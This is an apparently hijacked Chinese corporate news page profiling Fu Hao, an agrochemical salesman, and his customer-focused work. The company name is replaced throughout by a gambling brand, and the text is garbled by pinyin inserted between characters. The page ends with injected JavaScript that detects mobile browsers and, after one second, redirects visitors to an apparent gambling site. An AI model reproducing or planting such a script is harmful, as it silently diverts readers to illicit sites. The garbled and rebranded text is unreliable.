ag8体育登录

.

企业新闻

当前位置:ag8体育登录 > 媒体中心 > 企业新闻

身边的榜样④ | 傅豪:朝着顾问型销售方向成长

作者:chenqiong    |     来源:    |     发布时间:2021-07-06     |     切换:简体 繁體    |     字号:[        ]
“我(wo)们现在走(zou)的(de)(de)这条路,我(wo)走(zou)过了无数次,以前没有通(tong)高铁,交(jiao)(jiao)通(tong)非(fei)常(chang)不(bu)方(fang)便,每次来厂(chang)里(li)拜访客户都(dou)需(xu)要(yao)从南昌坐大巴,然后转乘公交(jiao)(jiao),最后再(zai)步行3公里(li)。”在去江(jiang)西九江(jiang)市(shi)永(yong)修县的(de)(de)路上,ag8体育登录化工事(shi)业部销售(shou)主(zhu)管傅豪讲起(qi)了他的(de)(de)工作日(ri)常(chang),这样曲折的(de)(de)路途他一走(zou)就(jiu)是几年。

自2017年入职ag8体育登录以(yi)(yi)来,傅豪(hao)平(ping)均每年出差200天以(yi)(yi)上(shang),走(zou)市(shi)场、到(dao)基层是他的(de)工作常态(tai)。“只有到(dao)一线去,才可以(yi)(yi)对产品特性(xing)、客户需求、市(shi)场动态(tai)有更(geng)直接的(de)把握,才能将书本上(shang)学(xue)到(dao)的(de)知识与日常工作更(geng)好(hao)地结合起来。” 傅豪(hao)说。


勤奋且真(zhen)诚


“勤奋(fen)且真诚(cheng)”是傅(fu)豪拜访客(ke)户的敲门砖。刚(gang)刚(gang)入行第一(yi)(yi)次拜访客(ke)户的时(shi)候,他(ta)在客(ke)户门前徘徊了半个多小时(shi),把了解(jie)到(dao)的市场行情和产(chan)品知识在心(xin)中(zhong)不断默念(nian)巩固;遇到(dao)客(ke)户装卸货(huo),只要(yao)他(ta)在场就(jiu)(jiu)一(yi)(yi)定会上(shang)去帮(bang)把手;晚上(shang)已经熟睡,只要(yao)有工作(zuo)电(dian)话打进来,他(ta)立马就(jiu)(jiu)进入工作(zuo)状(zhuang)态,电(dian)话一(yi)(yi)打可能就(jiu)(jiu)到(dao)了后(hou)半夜;为了一(yi)(yi)笔50吨的毒死蜱订(ding)单,疫情解(jie)封后(hou)他(ta)第一(yi)(yi)时(shi)间赶到(dao)客(ke)户工厂,最终拿下这笔订(ding)单。


“勤奋是打开市(shi)(shi)(shi)场(chang)的(de)金(jin)钥匙,真(zhen)诚是换(huan)取信任的(de)不(bu)二法宝。”傅豪说(shuo),他(ta)把每一次(ci)拜访都(dou)当作是一次(ci)历练(lian),4年来,每次(ci)拜访客(ke)(ke)(ke)户(hu)他(ta)都(dou)会提(ti)(ti)前(qian)做(zuo)好功(gong)课,了解客(ke)(ke)(ke)户(hu)的(de)真(zhen)实诉求,从客(ke)(ke)(ke)户(hu)的(de)角(jiao)度(du)分析市(shi)(shi)(shi)场(chang),提(ti)(ti)供最科(ke)学的(de)产品策略。同时,他(ta)还在市(shi)(shi)(shi)场(chang)变化的(de)关键时期(qi)提(ti)(ti)前(qian)摸透行情,帮助客(ke)(ke)(ke)户(hu)把握(wo)好采(cai)购的(de)最佳时机。此外,非科(ke)班出身(shen)的(de)傅豪为了储备更(geng)多专业知识,更(geng)好地服务(wu)客(ke)(ke)(ke)户(hu),在工作之余一直坚持看书学习,不(bu)断提(ti)(ti)高(gao)理(li)论水平。


江西正邦作物保护有限公(gong)司(si)采购(gou)主(zhu)管冯晓辉这样(yang)评价(jia)傅豪:“最开始和(he)傅豪接(jie)触,感觉(jue)他非常勤(qin)奋、阳光和(he)积极,市场上只要(yao)有新的(de)(de)动态,他都会及时向我(wo)们(men)(men)(men)反馈,帮助我(wo)们(men)(men)(men)厂家解决了(le)信(xin)息闭塞这个问(wen)题。他向我(wo)们(men)(men)(men)传递的(de)(de)‘看眼(yan)前更要(yao)看长(zhang)远(yuan)’的(de)(de)理(li)(li)念也一直影响着我(wo)们(men)(men)(men),随(sui)着农药(yao)行业的(de)(de)不断变革,我(wo)们(men)(men)(men)需要(yao)的(de)(de)不仅仅是(shi)眼(yan)前产品的(de)(de)提供者,而是(shi)更长(zhang)远(yuan)的(de)(de)服务和(he)更契合的(de)(de)理(li)(li)念。”


销售业绩逐(zhu)年上升(sheng)


2020年突然爆发的(de)新(xin)冠肺炎疫情(qing)让各行(xing)各业都受到了(le)(le)不(bu)(bu)同程度的(de)冲击,原药行(xing)情(qing)也(ye)呈(cheng)现出(chu)较大幅(fu)度的(de)波动。虽(sui)(sui)然人(ren)不(bu)(bu)能及时到一线去,但傅豪(hao)(hao)的(de)工作从(cong)没有(you)停止,他通过线上线下相结(jie)合(he)的(de)方式,不(bu)(bu)断为客(ke)(ke)户带来最新(xin)的(de)市(shi)场(chang)动态(tai)。同时,在(zai)疫情(qing)期间(jian)为了(le)(le)保证客(ke)(ke)户的(de)正常生产需求,傅豪(hao)(hao)通过多方协调,稳定持(chi)续地为客(ke)(ke)户提(ti)供原药供应,保证其在(zai)春(chun)耕(geng)期间(jian)有(you)足够的(de)产品(pin)投向市(shi)场(chang),助力(li)春(chun)耕(geng)生产。傅豪(hao)(hao)说:“疫情(qing)虽(sui)(sui)然让我和客(ke)(ke)户之(zhi)间(jian)的(de)距离远了(le)(le),但我们的(de)心更(geng)近了(le)(le)。”

从几千万元到几亿元,逐年上(shang)涨的(de)(de)(de)任务指标(biao)是(shi)公(gong)司对(dui)傅豪能力的(de)(de)(de)认可(ke),更是(shi)他过往成绩的(de)(de)(de)体(ti)现。今年是(shi)傅豪入(ru)职(zhi)ag8体育登录的(de)(de)(de)第五个年头,五年来傅豪在自己(ji)的(de)(de)(de)不断(duan)摸(mo)索努(nu)力和(he)公(gong)司团队的(de)(de)(de)大(da)力支持下,百分百完成了公(gong)司分配的(de)(de)(de)任务指标(biao),销(xiao)售额(e)也逐年呈阶梯(ti)式上(shang)涨。

个(ge)人前途与国家命(ming)运(yun)休戚相关,民族(zu)振兴同个(ge)体发展紧密(mi)相连。傅豪(hao)是一位90后,也是一名青年党员,在“两个(ge)一百年”奋斗(dou)目标(biao)的(de)历(li)史交汇期,他不断(duan)用(yong)行动践(jian)行着一名青年共产党员为农服(fu)务的(de)初心。

“作为(wei)(wei)一名青年党员,我深知民族发(fa)展、乡村(cun)振兴离不开(kai)每一个人的(de)努力,我也一直不断践(jian)行(xing)着为(wei)(wei)农(nong)服务的(de)宗(zong)旨。”傅豪说,他希(xi)望自己向顾(gu)问型销售(shou)方向成长,为(wei)(wei)客户提供(gong)更加专业的(de)服务,将党旗插(cha)在为(wei)(wei)农(nong)服务的(de)第一线。
 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();